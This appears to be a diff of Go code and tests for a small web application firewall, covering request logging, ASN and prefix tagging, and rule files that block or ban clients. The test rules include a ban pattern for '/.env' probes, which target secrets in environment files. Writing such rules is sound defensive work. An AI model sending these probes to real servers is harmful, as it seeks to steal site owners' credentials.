// wantFullLine checks the log line of the request with every header the
|
||||
// line looks at. Its timings are checked by TestTimingsAreInOrder.
|
||||
func wantFullLine(t *testing.T, line logLine) {
|
||||
t.Helper()
|
||||
|
||||
headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
|
||||
|
||||
want := withTimings(line, requestlog.Line{
|
||||
Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
|
||||
Time: line.Time, Instance: instance,
|
||||
ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
|
||||
Host: appHost, Path: "/full", Protocol: protocol,
|
||||
Status: http.StatusFound, RequestBytes: 3, ResponseBytes: 5,
|
||||
RequestID: line.RequestID, PeerIP: localhost,
|
||||
ForwardedFor: "198.51.100.7, " + ipv6Client, ClientGroup: ipv6Group,
|
||||
ContentType: "application/x-www-form-urlencoded", ContentLength: 3,
|
||||
RequestHeaders: headers, HasAuthorization: true, HasCookie: true,
|
||||
Action: requestlog.ActionForward,
|
||||
// Its 3 bytes in and 5 out, each way counted by default.
|
||||
Counts: ratelimit.Counts{
|
||||
Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8,
|
||||
},
|
||||
})
|
||||
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "from-traefik" {
|
||||
t.Errorf("log line\n%+v\nwant\n%+v, with a new request id", line.Line, want)
|
||||
}
|
||||
}
|
||||
|
||||
// wantBareLine checks the log line of the request with none of them, and
|
||||
// that the fields that do not apply to it are left out.
|
||||
func wantBareLine(t *testing.T, line logLine) {
|
||||
t.Helper()
|
||||
|
||||
want := withTimings(line, requestlog.Line{
|
||||
Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
|
||||
Time: line.Time, Instance: instance,
|
||||
ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
|
||||
Host: appHost, Path: "/bare", Protocol: protocol,
|
||||
Status: http.StatusNoContent, RequestBytes: 4, RequestID: line.RequestID,
|
||||
PeerIP: localhost, ClientGroup: localhost + "/32",
|
||||
Action: requestlog.ActionForward,
|
||||
})
|
||||
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" {
|
||||
t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want)
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
"forwarded_for", "content_type", "content_length", "request_headers",
|
||||
"has_authorization", "has_cookie", "response_content_type", "counts",
|
||||
} {
|
||||
_, present := line.fields[name]
|
||||
if present {
|
||||
t.Errorf("log line has %s, which does not apply", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// withTimings returns want with the timings of line.
|
||||
func withTimings(line logLine, want requestlog.Line) requestlog.Line {
|
||||
want.DurationTotalMS = line.DurationTotalMS
|
||||
want.DurationChecksMS = line.DurationChecksMS
|
||||
want.DurationUpstreamTotalMS = line.DurationUpstreamTotalMS
|
||||
|
||||
return want
|
||||
}
|
||||
|
||||
func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const hasAuthorization, hasCookie = "has_authorization", "has_cookie"
|
||||
|
||||
for _, tc := range []struct{ header, field, other string }{
|
||||
{"Authorization", hasAuthorization, hasCookie},
|
||||
{"Cookie", hasCookie, hasAuthorization},
|
||||
} {
|
||||
t.Run("only "+tc.header, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
addr, out := startProxy(t, app.URL, nil)
|
||||
|
||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||
req.Header.Set(tc.header, "secret")
|
||||
wantStatus(t, do(t, req), http.StatusOK)
|
||||
|
||||
line := out.endedLine(t)
|
||||
|
||||
_, otherPresent := line.fields[tc.other]
|
||||
if line.fields[tc.field] != true || otherPresent {
|
||||
t.Errorf("log line has %s %v and %s %v, want true and none",
|
||||
tc.field, line.fields[tc.field], tc.other, line.fields[tc.other])
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestTimingsAreInOrder(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
// The pause sets the times apart; a hold-up of the test only lengthens
|
||||
// it.
|
||||
time.Sleep(time.Millisecond)
|
||||
|
||||
_, _ = io.WriteString(w, "done")
|
||||
})
|
||||
|
||||
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
denyNets: denied,
|
||||
})
|
||||
|
||||
// Each log line is waited for before the next request, so that the
|
||||
// lines are in order.
|
||||
wantStatus(t, get(t, addr, "/"), http.StatusOK)
|
||||
forwarded := out.endedLines(t, 1)[0]
|
||||
|
||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||
req.Header.Set(forwardedFor, denied)
|
||||
wantStatus(t, do(t, req), http.StatusForbidden)
|
||||
refused := out.endedLines(t, 2)[1]
|
||||
|
||||
wantStatus(t, get(t, server.Addr, discriminator.HealthPath), http.StatusOK)
|
||||
health := out.endedLines(t, 3)[2]
|
||||
|
||||
// A request passed to the app has every timing; one refused, none of
|
||||
// the app's; the health check, which runs no check, only the total.
|
||||
wantTimings(t, forwarded, "duration_total_ms", "duration_checks_ms",
|
||||
"duration_upstream_total_ms")
|
||||
wantTimings(t, refused, "duration_total_ms", "duration_checks_ms")
|
||||
wantTimings(t, health, "duration_total_ms")
|
||||
|
||||
if t.Failed() {
|
||||
return
|
||||
}
|
||||
|
||||
// In whole microseconds, as they are logged, so that the sum below is
|
||||
// exact.
|
||||
total := microseconds(forwarded.DurationTotalMS)
|
||||
checks := microseconds(*forwarded.DurationChecksMS)
|
||||
upstream := microseconds(*forwarded.DurationUpstreamTotalMS)
|
||||
|
||||
// The checks end before the request is handed to the app.
|
||||
if checks+upstream > total {
|
||||
t.Errorf("timings in microseconds: total %d, checks %d, upstream total %d",
|
||||
total, checks, upstream)
|
||||
}
|
||||
|
||||
if *refused.DurationChecksMS > refused.DurationTotalMS {
|
||||
t.Errorf("refused request's checks took %v of %v milliseconds",
|
||||
*refused.DurationChecksMS, refused.DurationTotalMS)
|
||||
}
|
||||
}
|
||||
|
||||
// wantTimings checks that the timings named are the only ones line has.
|
||||
func wantTimings(t *testing.T, line logLine, want ...string) {
|
||||
t.Helper()
|
||||
|
||||
var got []string
|
||||
|
||||
for name := range line.fields {
|
||||
if strings.HasPrefix(name, "duration_") {
|
||||
got = append(got, name)
|
||||
}
|
||||
}
|
||||
|
||||
slices.Sort(got)
|
||||
slices.Sort(want)
|
||||
|
||||
if !slices.Equal(got, want) {
|
||||
t.Errorf("log line of %s has timings %v, want %v", line.Path, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
// wantHeuristic checks that line names heuristic as the one that refused the
|
||||
// request, with figures, a JSON object. A heuristic of "" with figures "null" is
|
||||
// a line that names none.
|
||||
func wantHeuristic(t *testing.T, line logLine, heuristic, figures string) {
|
||||
t.Helper()
|
||||
|
||||
if line.Heuristic != heuristic ||
|
||||
!reflect.DeepEqual(line.HeuristicFigures, decodeFigures(t, figures)) {
|
||||
t.Errorf("log line has heuristic %q with heuristic_figures %v, want %q with %s",
|
||||
line.Heuristic, line.HeuristicFigures, heuristic, figures)
|
||||
}
|
||||
}
|
||||
|
||||
// wantAfterAnswerHeuristic checks after_answer_heuristic and
|
||||
// after_answer_heuristic_figures as wantHeuristic checks heuristic and
|
||||
// heuristic_figures.
|
||||
func wantAfterAnswerHeuristic(t *testing.T, line logLine, heuristic, figures string) {
|
||||
t.Helper()
|
||||
|
||||
if line.AfterAnswerHeuristic != heuristic ||
|
||||
!reflect.DeepEqual(line.AfterAnswerHeuristicFigures, decodeFigures(t, figures)) {
|
||||
t.Errorf("log line has after_answer_heuristic %q with "+
|
||||
"after_answer_heuristic_figures %v, want %q with %s",
|
||||
line.AfterAnswerHeuristic, line.AfterAnswerHeuristicFigures, heuristic, figures)
|
||||
}
|
||||
}
|
||||
|
||||
// decodeFigures decodes figures, a JSON object of a heuristic's figures, as
|
||||
// the log line's figures are decoded.
|
||||
func decodeFigures(t *testing.T, figures string) map[string]any {
|
||||
t.Helper()
|
||||
|
||||
var decoded map[string]any
|
||||
|
||||
err := json.Unmarshal([]byte(figures), &decoded)
|
||||
if err != nil {
|
||||
t.Fatalf("decode %s: %v", figures, err)
|
||||
}
|
||||
|
||||
return decoded
|
||||
}
|
||||
|
||||
// microseconds is a timing in whole microseconds.
|
||||
func microseconds(milliseconds float64) int64 {
|
||||
return int64(math.Round(milliseconds * 1000))
|
||||
}
|
||||
@@ -1,42 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
)
|
||||
|
||||
// routeWatchTags adds to the request the tags asn=<number> and prefix=<netblock>
|
||||
// from what routewatch answered about the client. It refuses nothing, and the
|
||||
// request does not wait for routewatch. A request that gets no tags from it has
|
||||
// the reason in the log line's routewatch_tags_missing. While SWW_ROUTEWATCH_URL
|
||||
// is unset it does nothing. Answers are kept by client and asked for by the
|
||||
// request's address, and a route without an origin AS gives only the prefix= tag.
|
||||
type routeWatchTags struct{}
|
||||
|
||||
func (routeWatchTags) name() string { return "routewatch_tags" }
|
||||
|
||||
func (routeWatchTags) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||
if rq.h.routeWatch == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
route, missing := rq.h.routeWatch.Route(ctx, rq.h.clientGroup(rq.client), rq.client)
|
||||
if missing != "" {
|
||||
rq.line.RouteWatchTagsMissing = string(missing)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.addTag(config.PrefixTagPrefix + route.Netblock.String())
|
||||
|
||||
if route.ASN != 0 {
|
||||
rq.addTag(config.ASNTagPrefix + strconv.FormatUint(uint64(route.ASN), 10))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,245 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
|
||||
// that says why a request got no tags from routewatch.
|
||||
const (
|
||||
routeWatchURL = "SWW_ROUTEWATCH_URL"
|
||||
tagsMissing = "routewatch_tags_missing"
|
||||
fromV6 = "2001:db8:1::5"
|
||||
prefixV6 = "2001:db8::/32"
|
||||
prefixDE = "203.0.113.0/24"
|
||||
prefixKP = "198.51.100.0/24"
|
||||
)
|
||||
|
||||
// standInRoute is what the stand-in for routewatch answers about an address.
|
||||
type standInRoute struct {
|
||||
Netblock string `json:"netblock"`
|
||||
ASN int `json:"asn"`
|
||||
}
|
||||
|
||||
// startRouteWatch starts a stand-in for routewatch's IP info API that knows the
|
||||
// routes given by address, and returns its URL.
|
||||
func startRouteWatch(t *testing.T, routes map[string]standInRoute) string {
|
||||
t.Helper()
|
||||
|
||||
server := httptest.NewServer(http.HandlerFunc(
|
||||
func(w http.ResponseWriter, r *http.Request) {
|
||||
address := strings.TrimPrefix(r.URL.Path, "/api/v1/ip/")
|
||||
|
||||
result := map[string]any{"ip": address}
|
||||
if route, known := routes[address]; known {
|
||||
result["netblock"], result["asn"] = route.Netblock, route.ASN
|
||||
}
|
||||
|
||||
_ = json.NewEncoder(w).Encode(map[string]any{
|
||||
"status": "ok",
|
||||
"data": map[string]any{"results": []any{result}},
|
||||
})
|
||||
}))
|
||||
t.Cleanup(server.Close)
|
||||
|
||||
return server.URL
|
||||
}
|
||||
|
||||
// waitForRouteWatch waits until routewatch's answer about from, in the client
|
||||
// group of the given length, is kept, so that the next request gets its tags.
|
||||
func waitForRouteWatch(
|
||||
t *testing.T, server *discriminator.Server, from string, bits int,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
addr := netip.MustParseAddr(from)
|
||||
client := netip.PrefixFrom(addr, bits).Masked()
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
|
||||
for {
|
||||
_, missing := server.RouteWatch.Route(context.Background(), client, addr)
|
||||
if missing == "" {
|
||||
return
|
||||
}
|
||||
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("routewatch's answer about %s not kept: %q", from, missing)
|
||||
}
|
||||
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func wantTagsMissing(t *testing.T, line logLine, want string) {
|
||||
t.Helper()
|
||||
|
||||
got, _ := line.fields[tagsMissing].(string)
|
||||
if got != want {
|
||||
t.Errorf("log line has %s %q, want %q", tagsMissing, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 64496}})
|
||||
s, server, _ := startWithLookups(t, map[string]string{routeWatchURL: url})
|
||||
|
||||
waitForRouteWatch(t, server, fromDE, 32)
|
||||
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
wantTags(t, line, "asn=64496", "country=DE", "prefix="+prefixDE)
|
||||
wantTagsMissing(t, line, "")
|
||||
}
|
||||
|
||||
func TestRouteWatchTagsAreOnALineDenyNetsRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
url := startRouteWatch(t, map[string]standInRoute{fromKP: {prefixKP, 64511}})
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: url, denyNets: fromKP,
|
||||
})
|
||||
|
||||
waitForRouteWatch(t, server, fromKP, 32)
|
||||
|
||||
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+fromKP+`/32"}`)
|
||||
wantTags(t, line, "asn=64511", "prefix="+prefixKP)
|
||||
}
|
||||
|
||||
func TestRouteWithoutAnOriginASGivesOnlyThePrefixTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 0}})
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: url,
|
||||
})
|
||||
|
||||
waitForRouteWatch(t, server, fromDE, 32)
|
||||
|
||||
wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||
"prefix="+prefixDE)
|
||||
}
|
||||
|
||||
func TestUnsetRouteWatchChangesNothing(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{lookupSource: off})
|
||||
|
||||
if server.RouteWatch != nil {
|
||||
t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset")
|
||||
}
|
||||
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
if _, present := line.fields[tagsMissing]; present {
|
||||
t.Errorf("log line has %s", tagsMissing)
|
||||
}
|
||||
|
||||
if _, present := line.fields["tags"]; present {
|
||||
t.Errorf("log line has tags %v", line.fields["tags"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A stand-in that is closed at once, so that the port refuses connections.
|
||||
dead := httptest.NewServer(http.NotFoundHandler())
|
||||
url := dead.URL
|
||||
|
||||
dead.Close()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: url,
|
||||
})
|
||||
|
||||
wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||
"no_answer_yet")
|
||||
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
|
||||
for {
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
missing, _ := line.fields[tagsMissing].(string)
|
||||
if missing == "request_failed" {
|
||||
return
|
||||
}
|
||||
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("still %q, want request_failed", missing)
|
||||
}
|
||||
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAddressWithoutARouteHasNoTagsAndTheLineSaysSo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: startRouteWatch(t, nil),
|
||||
})
|
||||
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
|
||||
for {
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
missing, _ := line.fields[tagsMissing].(string)
|
||||
if missing == "no_route" {
|
||||
return
|
||||
}
|
||||
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("still %q, want no_route", missing)
|
||||
}
|
||||
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTagDenyRefusesOnARouteWatchPrefix(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
url := startRouteWatch(t, map[string]standInRoute{
|
||||
fromDE: {prefixDE, 64496}, fromKP: {prefixKP, 64511},
|
||||
})
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: url, tagDeny: "prefix=" + prefixKP,
|
||||
})
|
||||
|
||||
waitForRouteWatch(t, server, fromKP, 32)
|
||||
waitForRouteWatch(t, server, fromDE, 32)
|
||||
|
||||
wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||
"tag_deny", `{"tag": "prefix=`+prefixKP+`"}`)
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestTagLimitPercentWorksWithAnIPv6Prefix(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
url := startRouteWatch(t, map[string]standInRoute{fromV6: {prefixV6, 64496}})
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
lookupSource: off, routeWatchURL: url, rateLimitPerMinute: "2",
|
||||
tagLimitPercent: "prefix=" + prefixV6 + ":50",
|
||||
})
|
||||
|
||||
waitForRouteWatch(t, server, fromV6, 64)
|
||||
|
||||
// Half of two is one: the second request breaks the limit.
|
||||
line := s.get(fromV6, http.StatusOK, requestlog.ActionForward)
|
||||
wantTags(t, line, "asn=64496", "prefix="+prefixV6)
|
||||
s.get(fromV6, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
}
|
||||
@@ -1,62 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic rule_files. It reads the rules of the rule files, which
|
||||
// SWW_RULES_DIR and SWW_RULES_ENABLED name.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
// ruleFiles checks the request against the rules of the rule files at now,
|
||||
// notes the ids of those it matches in the log line, adds the tag
|
||||
// exploitsignature when it matches any, and refuses the request
|
||||
// when the last rule it matches refuses it: with ActionBlockedByBlockRule for a
|
||||
// block rule, and for a ban rule with the action for the ban it makes. A ban
|
||||
// rule bans the client's netblock for a clear sign of attack, or in observe
|
||||
// mode raises the alert for the ban
|
||||
// it would have made. Either rule's match is noted as an offence, for the
|
||||
// client's history. Its figures are the rule's id and action.
|
||||
type ruleFiles struct{}
|
||||
|
||||
func (ruleFiles) name() string { return "rule_files" }
|
||||
|
||||
func (ruleFiles) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
matched := rq.h.rules.Match(rq.in)
|
||||
|
||||
for _, rule := range matched {
|
||||
rq.line.RuleIDs = append(rq.line.RuleIDs, rule.ID)
|
||||
rq.h.metrics.RuleMatched(rule.ID, rule.Action)
|
||||
}
|
||||
|
||||
if len(matched) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.addTag(config.ExploitSignatureTag)
|
||||
|
||||
// Only the last rule matched can refuse the request.
|
||||
last := matched[len(matched)-1]
|
||||
figures := map[string]any{"rule_id": last.ID, "rule_action": last.Action}
|
||||
|
||||
switch last.Action {
|
||||
case rules.ActionBlock:
|
||||
rq.blockedByBlockRule = true
|
||||
|
||||
return &verdict{action: requestlog.ActionBlockedByBlockRule, figures: figures}
|
||||
case rules.ActionBan:
|
||||
rq.attack = true
|
||||
|
||||
return &verdict{
|
||||
action: rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target}),
|
||||
figures: figures,
|
||||
}
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
@@ -1,270 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"slices"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// testRules are the rules most tests here load: a block rule for
|
||||
// /blocked and a ban rule for /.env.
|
||||
const testRules = `
|
||||
blocked path block ^/blocked$
|
||||
probe path ban ^/\.env$
|
||||
`
|
||||
|
||||
func TestEachRuleAction(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
|
||||
banResponse: "429",
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
// A log rule notes its match, and lets the request through.
|
||||
line := s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
wantRuleIDs(t, line, "noted")
|
||||
|
||||
// A block rule refuses with 403, whatever SWW_BAN_RESPONSE is, and
|
||||
// bans no one.
|
||||
line = s.request(client, "/blocked", http.StatusForbidden,
|
||||
requestlog.ActionBlockedByBlockRule)
|
||||
wantRuleIDs(t, line, "noted", "blocked")
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
// A ban rule refuses with SWW_BAN_RESPONSE, and bans the client for
|
||||
// seven days, the default.
|
||||
line = s.request(client, "/.env", http.StatusTooManyRequests,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
wantRuleIDs(t, line, "noted", "probe")
|
||||
|
||||
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
|
||||
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
|
||||
}
|
||||
|
||||
netblock := netip.MustParsePrefix(client + "/32")
|
||||
want := bans.Ban{
|
||||
Netblock: netblock,
|
||||
Start: start,
|
||||
Expires: start.Add(7 * 24 * time.Hour),
|
||||
Cause: bans.CauseAttack,
|
||||
Reason: "matched the rule probe",
|
||||
Notes: bans.Notes{
|
||||
RuleID: "probe",
|
||||
Target: "path",
|
||||
Request: bans.Request{
|
||||
Time: start,
|
||||
Method: http.MethodGet,
|
||||
Host: appHost,
|
||||
Path: "/.env",
|
||||
Status: http.StatusTooManyRequests,
|
||||
UserAgent: userAgent,
|
||||
},
|
||||
// The four requests up to and including the probe.
|
||||
Requests: 4,
|
||||
},
|
||||
}
|
||||
|
||||
got := server.Ledger.Bans(netblock)
|
||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
|
||||
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
|
||||
// The next request is refused under the ban, without being checked
|
||||
// against the rules, and makes the ban permanent.
|
||||
clk.advance(time.Hour)
|
||||
|
||||
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
|
||||
wantRuleIDs(t, line)
|
||||
|
||||
if line.BanExpires != permanent {
|
||||
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
|
||||
}
|
||||
|
||||
clk.advance(365 * 24 * time.Hour)
|
||||
s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
|
||||
}
|
||||
|
||||
func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
|
||||
})
|
||||
|
||||
wantTags(t, s.request(client, "/noted", http.StatusOK, requestlog.ActionForward),
|
||||
"exploitsignature")
|
||||
wantTags(t, s.request(client, "/blocked", http.StatusForbidden,
|
||||
requestlog.ActionBlockedByBlockRule), "exploitsignature")
|
||||
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
|
||||
}
|
||||
|
||||
func TestRuleRefusalNamesItsHeuristicAndTheRule(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
|
||||
})
|
||||
|
||||
line := s.request(client, "/blocked", http.StatusForbidden,
|
||||
requestlog.ActionBlockedByBlockRule)
|
||||
wantHeuristic(t, line, "rule_files", `{"rule_id": "blocked", "rule_action": "block"}`)
|
||||
|
||||
line = s.request(client, "/.env", http.StatusForbidden,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
wantHeuristic(t, line, "rule_files", `{"rule_id": "probe", "rule_action": "ban"}`)
|
||||
}
|
||||
|
||||
func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
rulesDir: writeRules(t, testRules),
|
||||
attackBanDuration: "1h",
|
||||
})
|
||||
|
||||
// The first probe bans for SWW_ATTACK_BAN_DURATION.
|
||||
line := s.request(client, "/.env", http.StatusForbidden,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
|
||||
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
|
||||
}
|
||||
|
||||
// Once that ban has run out without a request, the client is served,
|
||||
// and its next probe bans it for good.
|
||||
clk.advance(time.Hour)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line = s.request(client, "/.env", http.StatusForbidden,
|
||||
requestlog.ActionPermanentlyBanned)
|
||||
if line.BanExpires != permanent {
|
||||
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRulesComeAfterTheOtherChecks(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
rulesDir: writeRules(t, testRules),
|
||||
allowNets: allowed,
|
||||
rateLimitExemptNets: exempt,
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
|
||||
// A client in SWW_ALLOW_NETS is not checked.
|
||||
line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
|
||||
wantRuleIDs(t, line)
|
||||
|
||||
// A probe over the rate limit breaks the limit before any rule sees
|
||||
// it.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
line = s.request(client, "/.env", http.StatusForbidden,
|
||||
requestlog.ActionClientIsRateLimited)
|
||||
wantRuleIDs(t, line)
|
||||
|
||||
limitBan := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
||||
if len(limitBan) != 1 || limitBan[0].Cause != bans.CauseLimit {
|
||||
t.Errorf("bans %+v, want one for a broken limit", limitBan)
|
||||
}
|
||||
|
||||
// A client the rate limits do not apply to is still checked.
|
||||
s.get(exempt, http.StatusOK, requestlog.ActionForward)
|
||||
s.request(exempt, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
rulesDir: writeRules(t, testRules),
|
||||
mode: observe,
|
||||
})
|
||||
|
||||
line := s.request(client, "/blocked", http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
|
||||
wantRuleIDs(t, line, "blocked")
|
||||
|
||||
line = s.request(client, "/.env", http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
|
||||
wantRuleIDs(t, line, "probe")
|
||||
|
||||
if line.BanExpires != "" {
|
||||
t.Errorf("log line has ban_expires %q, want none", line.BanExpires)
|
||||
}
|
||||
|
||||
// No ban was made.
|
||||
line = s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, "")
|
||||
|
||||
if got := server.Ledger.Snapshot(); len(got) != 0 {
|
||||
t.Errorf("bans %+v, want none", got)
|
||||
}
|
||||
}
|
||||
|
||||
